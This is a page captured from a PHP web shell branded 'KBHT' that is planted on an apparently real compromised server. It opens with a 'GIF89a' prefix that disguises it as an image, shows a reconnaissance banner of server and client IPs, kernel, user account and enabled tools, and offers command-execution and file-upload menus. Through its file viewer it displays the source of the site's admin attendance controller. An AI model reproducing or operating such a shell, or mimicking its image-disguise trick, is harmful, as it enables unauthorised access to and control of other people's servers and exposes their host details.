GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.147.51.75
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../cas/assets/../application/controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../cas/assets/../application/controllers/admin/Admin.php
<?php

/**
 * Request Handler For Admin & Related Modules
 *
 * @author Softpro India Pvt. Ltd.
 */
class Admin extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->model('admin/UserAuthenticator');
        $this->load->model('admin/StaffManagement');
        $this->load->model('admin/RoleManagement');
    }

    public function erpAttendance() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $employeesAttendanceInfo = array();
            $selectedEmployee = "";
            if (isset($_POST['fetchERPAttendance'])) {
                $selectedDate = date("Y-m-d", strtotime(str_replace('/', '-', trim($this->input->post("date")))));
                if ($selectedDate != "") {
                    $selectedRole = trim($this->input->post("empRole"));
                    $selectedEmployee = trim($this->input->post("employee"));
                    $employeesAttendanceInfo = $this->AccessLog->getAccessLogsByDate($selectedDate, $selectedRole, $selectedEmployee)->result();
                    $this->session->set_flashdata('errorMessage', NULL);
                } else {
                    $this->session->set_flashdata('errorMessage', "Please Select Any Date To Get Fetch ERP Attendance.");
                    $employeesAttendanceInfo = array();
                }
            }
            $viewData['roles'] = $this->RoleManagement->getNonDeletedRoles()->result();
            $viewData['selectedEmp'] = $selectedEmployee;
            $viewData['employeesAttendance'] = $employeesAttendanceInfo;
            $this->load->view('admin/admin/erpAttendance', $viewData);
        } else {
            $this->load->view('admin/login');
        }
    }

}

KBHT - 2023